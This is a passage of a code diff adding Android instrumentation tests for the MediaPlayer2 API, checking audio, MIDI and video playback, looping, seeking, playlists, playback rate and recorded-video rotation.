+            }
+        } finally {
+            mp.close();
+        }
+    }
+
+    public void testPlayAudio() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int resid = R.raw.testmp3_2;
+        final int mp3Duration = 34909;
+        final int tolerance = 70;
+        final int seekDuration = 100;
+
+        MediaPlayer2 mp = createMediaPlayer2(mContext, resid);
+
+        Monitor onPrepareCalled = new Monitor();
+        Monitor onPlayCalled = new Monitor();
+        Monitor onSeekToCalled = new Monitor();
+        Monitor onLoopCurrentCalled = new Monitor();
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    onPrepareCalled.signal();
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                    onPlayCalled.signal();
+                } else if (what == MediaPlayer2.CALL_COMPLETED_LOOP_CURRENT) {
+                    onLoopCurrentCalled.signal();
+                } else if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+                    onSeekToCalled.signal();
+                }
+            }
+        };
+        mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+        try {
+            AudioAttributes attributes = new AudioAttributes.Builder()
+                    .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+                    .build();
+            mp.setAudioAttributes(attributes);
+            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+            assertFalse(mp.isPlaying());
+            onPlayCalled.reset();
+            mp.play();
+            onPlayCalled.waitForSignal();
+            assertTrue(mp.isPlaying());
+
+            assertFalse(mp.isLooping());
+            onLoopCurrentCalled.reset();
+            mp.loopCurrent(true);
+            onLoopCurrentCalled.waitForSignal();
+            assertTrue(mp.isLooping());
+
+            assertEquals(mp3Duration, mp.getDuration(), tolerance);
+            long pos = mp.getCurrentPosition();
+            assertTrue(pos >= 0);
+            assertTrue(pos < mp3Duration - seekDuration);
+
+            onSeekToCalled.reset();
+            mp.seekTo(pos + seekDuration, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+            onSeekToCalled.waitForSignal();
+            assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
+
+            // test pause and restart
+            mp.pause();
+            Thread.sleep(SLEEP_TIME);
+            assertFalse(mp.isPlaying());
+            onPlayCalled.reset();
+            mp.play();
+            onPlayCalled.waitForSignal();
+            assertTrue(mp.isPlaying());
+
+            // test stop and restart
+            mp.reset();
+            AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
+            mp.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+                    .build());
+
+            mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+            onPrepareCalled.reset();
+            mp.prepare();
+            onPrepareCalled.waitForSignal();
+            afd.close();
+
+            assertFalse(mp.isPlaying());
+            onPlayCalled.reset();
+            mp.play();
+            onPlayCalled.waitForSignal();
+            assertTrue(mp.isPlaying());
+
+            // waiting to complete
+            while(mp.isPlaying()) {
+                Thread.sleep(SLEEP_TIME);
+            }
+        } finally {
+            mp.close();
+        }
+    }
+
+    public void testConcurentPlayAudio() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int resid = R.raw.test1m1s; // MP3 longer than 1m are usualy offloaded
+        final int tolerance = 70;
+
+        List<MediaPlayer2> mps = Stream.generate(() -> createMediaPlayer2(mContext, resid))
+                                      .limit(5).collect(Collectors.toList());
+
+        try {
+            for (MediaPlayer2 mp : mps) {
+                Monitor onPlayCalled = new Monitor();
+                Monitor onLoopCurrentCalled = new Monitor();
+                MediaPlayer2.MediaPlayer2EventCallback ecb =
+                    new MediaPlayer2.MediaPlayer2EventCallback() {
+                        @Override
+                        public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+                                int what, int status) {
+                            if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                                onPlayCalled.signal();
+                            } else if (what == MediaPlayer2.CALL_COMPLETED_LOOP_CURRENT) {
+                                onLoopCurrentCalled.signal();
+                            }
+                        }
+                    };
+                mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+                AudioAttributes attributes = new AudioAttributes.Builder()
+                        .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+                        .build();
+                mp.setAudioAttributes(attributes);
+                mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+                assertFalse(mp.isPlaying());
+                onPlayCalled.reset();
+                mp.play();
+                onPlayCalled.waitForSignal();
+                assertTrue(mp.isPlaying());
+
+                assertFalse(mp.isLooping());
+                onLoopCurrentCalled.reset();
+                mp.loopCurrent(true);
+                onLoopCurrentCalled.waitForSignal();
+                assertTrue(mp.isLooping());
+
+                long pos = mp.getCurrentPosition();
+                assertTrue(pos >= 0);
+
+                Thread.sleep(SLEEP_TIME); // Delay each track to be able to ear them
+            }
+            // Check that all mp3 are playing concurrently here
+            for (MediaPlayer2 mp : mps) {
+                long pos = mp.getCurrentPosition();
+                Thread.sleep(SLEEP_TIME);
+                assertEquals(pos + SLEEP_TIME, mp.getCurrentPosition(), tolerance);
+            }
+        } finally {
+            mps.forEach(MediaPlayer2::close);
+        }
+    }
+
+    public void testPlayAudioLooping() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int resid = R.raw.testmp3;
+
+        MediaPlayer2 mp = createMediaPlayer2(mContext, resid);
+        try {
+            AudioAttributes attributes = new AudioAttributes.Builder()
+                    .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+                    .build();
+            mp.setAudioAttributes(attributes);
+            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+            mp.loopCurrent(true);
+            Monitor onCompletionCalled = new Monitor();
+            Monitor onPlayCalled = new Monitor();
+            MediaPlayer2.MediaPlayer2EventCallback ecb =
+                new MediaPlayer2.MediaPlayer2EventCallback() {
+                    @Override
+                    public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd,
+                            int what, int extra) {
+                        Log.i("@@@", "got oncompletion");
+                        onCompletionCalled.signal();
+                    }
+
+                    @Override
+                    public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+                            int what, int status) {
+                        if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+                            onPlayCalled.signal();
+                        }
+                    }
+                };
+            mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+            assertFalse(mp.isPlaying());
+            onPlayCalled.reset();
+            mp.play();
+            onPlayCalled.waitForSignal();
+            assertTrue(mp.isPlaying());
+
+            long duration = mp.getDuration();
+            Thread.sleep(duration * 4); // allow for several loops
+            assertTrue(mp.isPlaying());
+            assertEquals("wrong number of completion signals", 0,
+                    onCompletionCalled.getNumSignal());
+            mp.loopCurrent(false);
+
+            // wait for playback to finish
+            while(mp.isPlaying()) {
+                Thread.sleep(SLEEP_TIME);
+            }
+            assertEquals("wrong number of completion signals", 1,
+                    onCompletionCalled.getNumSignal());
+        } finally {
+            mp.close();
+        }
+    }
+
+    public void testPlayMidi() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int resid = R.raw.midi8sec;
+        final int midiDuration = 8000;
+        final int tolerance = 70;
+        final int seekDuration = 1000;
+
+        MediaPlayer2 mp = createMediaPlayer2(mContext, resid);
+
+        Monitor onPrepareCalled = new Monitor();
+        Monitor onSeekToCalled = new Monitor();
+        Monitor onLoopCurrentCalled = new Monitor();
+        MediaPlayer2.MediaPlayer2EventCallback ecb =
+            new MediaPlayer2.MediaPlayer2EventCallback() {
+                @Override
+                public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                    if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                        onPrepareCalled.signal();
+                    }
+                }
+
+                @Override
+                public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+                        int what, int status) {
+                    if (what == MediaPlayer2.CALL_COMPLETED_LOOP_CURRENT) {
+                        onLoopCurrentCalled.signal();
+                    } else if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+                        onSeekToCalled.signal();
+                    }
+                }
+            };
+        mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+        try {
+            AudioAttributes attributes = new AudioAttributes.Builder()
+                    .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+                    .build();
+            mp.setAudioAttributes(attributes);
+            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+            mp.play();
+
+            assertFalse(mp.isLooping());
+            onLoopCurrentCalled.reset();
+            mp.loopCurrent(true);
+            onLoopCurrentCalled.waitForSignal();
+            assertTrue(mp.isLooping());
+
+            assertEquals(midiDuration, mp.getDuration(), tolerance);
+            long pos = mp.getCurrentPosition();
+            assertTrue(pos >= 0);
+            assertTrue(pos < midiDuration - seekDuration);
+
+            onSeekToCalled.reset();
+            mp.seekTo(pos + seekDuration, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+            onSeekToCalled.waitForSignal();
+            assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
+
+            // test stop and restart
+            mp.reset();
+            AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
+            mp.setDataSource(new DataSourceDesc.Builder()
+                    .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+                    .build());
+
+            mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+            onPrepareCalled.reset();
+            mp.prepare();
+            onPrepareCalled.waitForSignal();
+            afd.close();
+
+            mp.play();
+
+            Thread.sleep(SLEEP_TIME);
+        } finally {
+            mp.close();
+        }
+    }
+
+    static class OutputListener {
+        int mSession;
+        AudioEffect mVc;
+        Visualizer mVis;
+        byte [] mVisData;
+        boolean mSoundDetected;
+        OutputListener(int session) {
+            mSession = session;
+            // creating a volume controller on output mix ensures that ro.audio.silent mutes
+            // audio after the effects and not before
+            mVc = new AudioEffect(
+                    AudioEffect.EFFECT_TYPE_NULL,
+                    UUID.fromString("119341a0-8469-11df-81f9-0002a5d5c51b"),
+                    0,
+                    session);
+            mVc.setEnabled(true);
+            mVis = new Visualizer(session);
+            int size = 256;
+            int[] range = Visualizer.getCaptureSizeRange();
+            if (size < range[0]) {
+                size = range[0];
+            }
+            if (size > range[1]) {
+                size = range[1];
+            }
+            assertTrue(mVis.setCaptureSize(size) == Visualizer.SUCCESS);
+
+            mVis.setDataCaptureListener(new Visualizer.OnDataCaptureListener() {
+                @Override
+                public void onWaveFormDataCapture(Visualizer visualizer,
+                        byte[] waveform, int samplingRate) {
+                    if (!mSoundDetected) {
+                        for (int i = 0; i < waveform.length; i++) {
+                            // 8 bit unsigned PCM, zero level is at 128, which is -128 when
+                            // seen as a signed byte
+                            if (waveform[i] != -128) {
+                                mSoundDetected = true;
+                                break;
+                            }
+                        }
+                    }
+                }
+
+                @Override
+                public void onFftDataCapture(Visualizer visualizer, byte[] fft, int samplingRate) {
+                }
+            }, 10000 /* milliHertz */, true /* PCM */, false /* FFT */);
+            assertTrue(mVis.setEnabled(true) == Visualizer.SUCCESS);
+        }
+
+        void reset() {
+            mSoundDetected = false;
+        }
+
+        boolean heardSound() {
+            return mSoundDetected;
+        }
+
+        void release() {
+            mVis.release();
+            mVc.release();
+        }
+    }
+
+    public void testPlayAudioTwice() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int resid = R.raw.camera_click;
+
+        MediaPlayer2 mp = createMediaPlayer2(mContext, resid);
+        try {
+            AudioAttributes attributes = new AudioAttributes.Builder()
+                    .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+                    .build();
+            mp.setAudioAttributes(attributes);
+            mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+            OutputListener listener = new OutputListener(mp.getAudioSessionId());
+
+            Thread.sleep(SLEEP_TIME);
+            assertFalse("noise heard before test started", listener.heardSound());
+
+            mp.play();
+            Thread.sleep(SLEEP_TIME);
+            assertFalse("player was still playing after " + SLEEP_TIME + " ms", mp.isPlaying());
+            assertTrue("nothing heard while test ran", listener.heardSound());
+            listener.reset();
+            mp.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+            mp.play();
+            Thread.sleep(SLEEP_TIME);
+            assertTrue("nothing heard when sound was replayed", listener.heardSound());
+            listener.release();
+        } finally {
+            mp.close();
+        }
+    }
+
+    public void testPlayVideo() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        playVideoTest(R.raw.testvideo, 352, 288);
+    }
+
+    /**
+     * Test for reseting a surface during video playback
+     * After reseting, the video should continue playing
+     * from the time setDisplay() was called
+     */
+    public void testVideoSurfaceResetting() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int tolerance = 150;
+        final int audioLatencyTolerance = 1000;  /* covers audio path latency variability */
+        final int seekPos = 4760;  // This is the I-frame position
+
+        final CountDownLatch seekDone = new CountDownLatch(1);
+
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+                    seekDone.countDown();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
+        if (!checkLoadResource(R.raw.testvideo)) {
+            return; // skip;
+        }
+        playLoadedVideo(352, 288, -1);
+
+        Thread.sleep(SLEEP_TIME);
+
+        long posBefore = mPlayer.getCurrentPosition();
+        mPlayer.setDisplay(getActivity().getSurfaceHolder2());
+        long posAfter = mPlayer.getCurrentPosition();
+
+        /* temporarily disable timestamp checking because MediaPlayer2 now seeks to I-frame
+         * position, instead of requested position. setDisplay invovles a seek operation
+         * internally.
+         */
+        // TODO: uncomment out line below when MediaPlayer2 can seek to requested position.
+        // assertEquals(posAfter, posBefore, tolerance);
+        assertTrue(mPlayer.isPlaying());
+
+        Thread.sleep(SLEEP_TIME);
+
+        mPlayer.seekTo(seekPos, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+        seekDone.await();
+        posAfter = mPlayer.getCurrentPosition();
+        assertEquals(seekPos, posAfter, tolerance + audioLatencyTolerance);
+
+        Thread.sleep(SLEEP_TIME / 2);
+        posBefore = mPlayer.getCurrentPosition();
+        mPlayer.setDisplay(null);
+        posAfter = mPlayer.getCurrentPosition();
+        // TODO: uncomment out line below when MediaPlayer2 can seek to requested position.
+        // assertEquals(posAfter, posBefore, tolerance);
+        assertTrue(mPlayer.isPlaying());
+
+        Thread.sleep(SLEEP_TIME);
+
+        posBefore = mPlayer.getCurrentPosition();
+        mPlayer.setDisplay(getActivity().getSurfaceHolder());
+        posAfter = mPlayer.getCurrentPosition();
+
+        // TODO: uncomment out line below when MediaPlayer2 can seek to requested position.
+        // assertEquals(posAfter, posBefore, tolerance);
+        assertTrue(mPlayer.isPlaying());
+
+        Thread.sleep(SLEEP_TIME);
+    }
+
+    public void testRecordedVideoPlayback0() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        testRecordedVideoPlaybackWithAngle(0);
+    }
+
+    public void testRecordedVideoPlayback90() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        testRecordedVideoPlaybackWithAngle(90);
+    }
+
+    public void testRecordedVideoPlayback180() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        testRecordedVideoPlaybackWithAngle(180);
+    }
+
+    public void testRecordedVideoPlayback270() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        testRecordedVideoPlaybackWithAngle(270);
+    }
+
+    private boolean hasCamera() {
+        return getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA);
+    }
+
+    private Camera mCamera;
+    private void testRecordedVideoPlaybackWithAngle(int angle) throws Exception {
+        int width = RECORDED_VIDEO_WIDTH;
+        int height = RECORDED_VIDEO_HEIGHT;
+        final String file = RECORDED_FILE;
+        final long durationMs = RECORDED_DURATION_MS;
+
+        if (!hasCamera()) {
+            return;
+        }
+
+        boolean isSupported = false;
+        mCamera = Camera.open(0);
+        Camera.Parameters parameters = mCamera.getParameters();
+        List<Camera.Size> videoSizes = parameters.getSupportedVideoSizes();
+        // getSupportedVideoSizes returns null when separate video/preview size
+        // is not supported.
+        if (videoSizes == null) {
+            videoSizes = parameters.getSupportedPreviewSizes();
+        }
+        for (Camera.Size size : videoSizes)
+        {
+            if (size.width == width && size.height == height) {
+                isSupported = true;
+                break;
+            }
+        }
+        mCamera.release();
+        mCamera = null;
+        if (!isSupported) {
+            width = videoSizes.get(0).width;
+            height = videoSizes.get(0).height;
+        }
+        checkOrientation(angle);
+        recordVideo(width, height, angle, file, durationMs);
+        checkDisplayedVideoSize(width, height, angle, file);
+        checkVideoRotationAngle(angle, file);
+    }
+
+    private void checkOrientation(int angle) throws Exception {
+        assertTrue(angle >= 0);
+        assertTrue(angle < 360);
+        assertTrue((angle % 90) == 0);
+    }
+
+    private void recordVideo(
+            int w, int h, int angle, String file, long durationMs) throws Exception {
+
+        MediaRecorder recorder = new MediaRecorder();
+        recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        recorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        recorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
+        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
+        recorder.setOutputFile(file);
+        recorder.setOrientationHint(angle);
+        recorder.setVideoSize(w, h);
+        recorder.setPreviewDisplay(getActivity().getSurfaceHolder2().getSurface());
+        recorder.prepare();
+        recorder.start();
+        Thread.sleep(durationMs);
+        recorder.stop();
+        recorder.release();
+        recorder = null;
+    }
+
+    private void checkDisplayedVideoSize(
+            int w, int h, int angle, String file) throws Exception {
+
+        int displayWidth  = w;
+        int displayHeight = h;
+        if ((angle % 180) != 0) {
+            displayWidth  = h;
+            displayHeight = w;
+        }
+        playVideoTest(file, displayWidth, displayHeight);
+    }
+
+    private void checkVideoRotationAngle(int angle, String file) {
+        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+        retriever.setDataSource(file);
+        String rotation = retriever.extractMetadata(
+                MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+        retriever.release();
+        retriever = null;
+        assertNotNull(rotation);
+        assertEquals(Integer.parseInt(rotation), angle);
+    }
+
+    public void testPlaylist() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!checkLoadResource(
+                R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz)) {
+            return; // skip
+        }
+        DataSourceDesc dsd1 = createDataSourceDesc(
+                R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz);
+        DataSourceDesc dsd2 = createDataSourceDesc(
+                R.raw.testvideo);
+        ArrayList<DataSourceDesc> nextDSDs = new ArrayList<DataSourceDesc>(2);
+        nextDSDs.add(dsd2);
+        nextDSDs.add(dsd1);
+
+        mPlayer.setNextDataSources(nextDSDs);
+
+        Monitor onCompletion1Called = new Monitor();
+        Monitor onCompletion2Called = new Monitor();
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    Log.i(LOG_TAG, "testPlaylist: prepared dsd MediaId=" + dsd.getMediaId());
+                    mOnPrepareCalled.signal();
+                } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+                    if (dsd == dsd1) {
+                        onCompletion1Called.signal();
+                    } else if (dsd == dsd2) {
+                        onCompletion2Called.signal();
+                    } else {
+                        mOnCompletionCalled.signal();
+                    }
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
+        mOnCompletionCalled.reset();
+        onCompletion1Called.reset();
+        onCompletion2Called.reset();
+
+        mPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+        mPlayer.prepare();
+
+        mPlayer.play();
+
+        mOnCompletionCalled.waitForSignal();
+        onCompletion2Called.waitForSignal();
+        onCompletion1Called.waitForSignal();
+
+        mPlayer.reset();
+    }
+
+    // setPlaybackParams() with non-zero speed should NOT start playback.
+    // TODO: enable this test when MediaPlayer2.setPlaybackParams() is fixed
+    /*
+    public void testSetPlaybackParamsPositiveSpeed() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        if (!checkLoadResource(
+                R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz)) {
+            return; // skip
+        }
+
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+                    mOnCompletionCalled.signal();
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+                    mOnSeekCompleteCalled.signal();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
+        mOnCompletionCalled.reset();
+        mPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        mOnSeekCompleteCalled.reset();
+        mPlayer.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+        mOnSeekCompleteCalled.waitForSignal();
+
+        final float playbackRate = 1.0f;
+
+        int playTime = 2000;  // The testing clip is about 10 second long.
+        mPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+        assertTrue("MediaPlayer2 should be playing", mPlayer.isPlaying());
+        Thread.sleep(playTime);
+        assertTrue("MediaPlayer2 should still be playing",
+                mPlayer.getCurrentPosition() > 0);
+
+        long duration = mPlayer.getDuration();
+        mOnSeekCompleteCalled.reset();
+        mPlayer.seekTo(duration - 1000, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+        mOnSeekCompleteCalled.waitForSignal();
+
+        mOnCompletionCalled.waitForSignal();
+        assertFalse("MediaPlayer2 should not be playing", mPlayer.isPlaying());
+        long eosPosition = mPlayer.getCurrentPosition();
+
+        mPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+        assertTrue("MediaPlayer2 should be playing after EOS", mPlayer.isPlaying());
+        Thread.sleep(playTime);
+        long position = mPlayer.getCurrentPosition();
+        assertTrue("MediaPlayer2 should still be playing after EOS",
+                position > 0 && position < eosPosition);
+
+        mPlayer.reset();
+    }
+    */
+
+    public void testPlaybackRate() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int toleranceMs = 1000;
+        if (!checkLoadResource(
+                R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz)) {
+            return; // skip
+        }
+
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+        mPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        SyncParams sync = new SyncParams().allowDefaults();
+        mPlayer.setSyncParams(sync);
+        sync = mPlayer.getSyncParams();
+
+        float[] rates = { 0.25f, 0.5f, 1.0f, 2.0f };
+        for (float playbackRate : rates) {
+            mPlayer.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+            Thread.sleep(1000);
+            int playTime = 4000;  // The testing clip is about 10 second long.
+            mPlayer.setPlaybackParams(new PlaybackParams().setSpeed(playbackRate));
+            mPlayer.play();
+            Thread.sleep(playTime);
+            PlaybackParams pbp = mPlayer.getPlaybackParams();
+            assertEquals(
+                    playbackRate, pbp.getSpeed(),
+                    FLOAT_TOLERANCE + playbackRate * sync.getTolerance());
+            assertTrue("MediaPlayer2 should still be playing", mPlayer.isPlaying());
+
+            long playedMediaDurationMs = mPlayer.getCurrentPosition();
+            int diff = Math.abs((int)(playedMediaDurationMs / playbackRate) - playTime);
+            if (diff > toleranceMs) {
+                fail("Media player had error in playback rate " + playbackRate
+                     + ", play time is " + playTime + " vs expected " + playedMediaDurationMs);
+            }
+            mPlayer.pause();
+            pbp = mPlayer.getPlaybackParams();
+            // TODO: pause() should NOT change PlaybackParams.
+            // assertEquals(0.f, pbp.getSpeed(), FLOAT_TOLERANCE);
+        }
+        mPlayer.reset();
+    }
+
+    public void testSeekModes() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        // This clip has 2 I frames at 66687us and 4299687us.
+        if (!checkLoadResource(
+                R.raw.bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz)) {
+            return; // skip
+        }
+
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+                    mOnSeekCompleteCalled.signal();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
+        mPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+        mOnPrepareCalled.reset();
+        mPlayer.prepare();
+        mOnPrepareCalled.waitForSignal();
+
+        mOnSeekCompleteCalled.reset();
+        mPlayer.play();
+
+        final long seekPosMs = 3000;
+        final long timeToleranceMs = 100;
+        final long syncTime1Ms = 67;
+        final long syncTime2Ms = 4300;
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to previous sync or next sync.
+        long cp = runSeekMode(MediaPlayer2.SEEK_CLOSEST, seekPosMs);
+        assertTrue("MediaPlayer2 did not seek to closest position",
+                cp > seekPosMs && cp < syncTime2Ms);
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to closest position or next sync.
+        cp = runSeekMode(MediaPlayer2.SEEK_PREVIOUS_SYNC, seekPosMs);
+        assertTrue("MediaPlayer2 did not seek to preivous sync position",
+                cp < seekPosMs - timeToleranceMs);
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to closest position or previous sync.
+        cp = runSeekMode(MediaPlayer2.SEEK_NEXT_SYNC, seekPosMs);
+        assertTrue("MediaPlayer2 did not seek to next sync position",
+                cp > syncTime2Ms - timeToleranceMs);
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to closest position or previous sync.
+        cp = runSeekMode(MediaPlayer2.SEEK_CLOSEST_SYNC, seekPosMs);
+        assertTrue("MediaPlayer2 did not seek to closest sync position",
+                cp > syncTime2Ms - timeToleranceMs);
+
+        mPlayer.reset();
+    }
+
+    private long runSeekMode(int seekMode, long seekPosMs) throws Exception {
+        final int sleepIntervalMs = 100;
+        int timeRemainedMs = 10000;  // total time for testing
+        final int timeToleranceMs = 100;
+
+        mPlayer.seekTo(seekPosMs, seekMode);
+        mOnSeekCompleteCalled.waitForSignal();
+        mOnSeekCompleteCalled.reset();
+        long cp = -seekPosMs;
+        while (timeRemainedMs > 0) {
+            cp = mPlayer.getCurrentPosition();
+            // Wait till MediaPlayer2 starts rendering since MediaPlayer2 caches
+            // seek position as current position.
+            if (cp < seekPosMs - timeToleranceMs || cp > seekPosMs + timeToleranceMs) {
+                break;
+            }
+            timeRemainedMs -= sleepIntervalMs;
+            Thread.sleep(sleepIntervalMs);
+        }
+        assertTrue("MediaPlayer2 did not finish seeking in time for mode " + seekMode,
+                timeRemainedMs > 0);
+        return cp;
+    }
+
+    public void testGetTimestamp() throws Exception {
+        if (IGNORE_TESTS) {
+            return;
+        }
+        final int toleranceUs = 100000;
+        final float playbackRate = 1.0f;
+        if (!checkLoadResource(
+                R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz)) {
+            return; // skip
+        }
+
+        Monitor onPauseCalled = new Monitor();
+        MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+            @Override
+            public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+                if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+                    mOnPrepareCalled.signal();
+                }
+            }
+
+            @Override
+            public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+                if (what == MediaPlayer2.CALL_COMPLETED_PAUSE) {
+                    onPauseCalled.signal();
+                }
+            }
+        };
+        synchronized (mEventCbLock) {
+            mEventCallbacks.add(ecb);
+        }
+
